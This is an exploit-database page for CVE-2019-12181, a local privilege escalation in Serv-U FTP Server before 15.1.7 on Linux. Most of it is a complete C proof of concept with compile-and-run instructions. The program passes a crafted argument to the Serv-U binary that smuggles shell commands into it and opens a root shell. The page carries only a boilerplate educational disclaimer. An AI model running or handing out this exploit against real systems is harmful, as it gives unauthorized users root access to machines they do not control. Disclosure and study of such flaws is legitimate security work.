Servu ftp server < 15.1.7 local privilege escalation (1) Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2019-06-18 | Type : local | Platform : linux
This exploit / vulnerability Servu ftp server < 15.1.7 local privilege escalation (1) is for educational purposes only and if it is used you will do on your own risk!

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[+] Code ...

/*

CVE-2019-12181 Serv-U 15.1.6 Privilege Escalation

vulnerability found by:
Guy Levin (@va_start - twitter.com/va_start) https://blog.vastart.dev

to compile and run:
gcc servu-pe-cve-2019-12181.c -o pe && ./pe

*/

#include <stdio.h>
#include <unistd.h>
#include <errno.h>

int main()
{
char *vuln_args[] = {"\" ; id; echo 'opening root shell' ; /bin/sh; \"", "-prepareinstallation", NULL};
int ret_val = execv("/usr/local/Serv-U/Serv-U", vuln_args);
// if execv is successful, we won't reach here
printf("ret val: %d errno: %d\n", ret_val, errno);
return errno;
}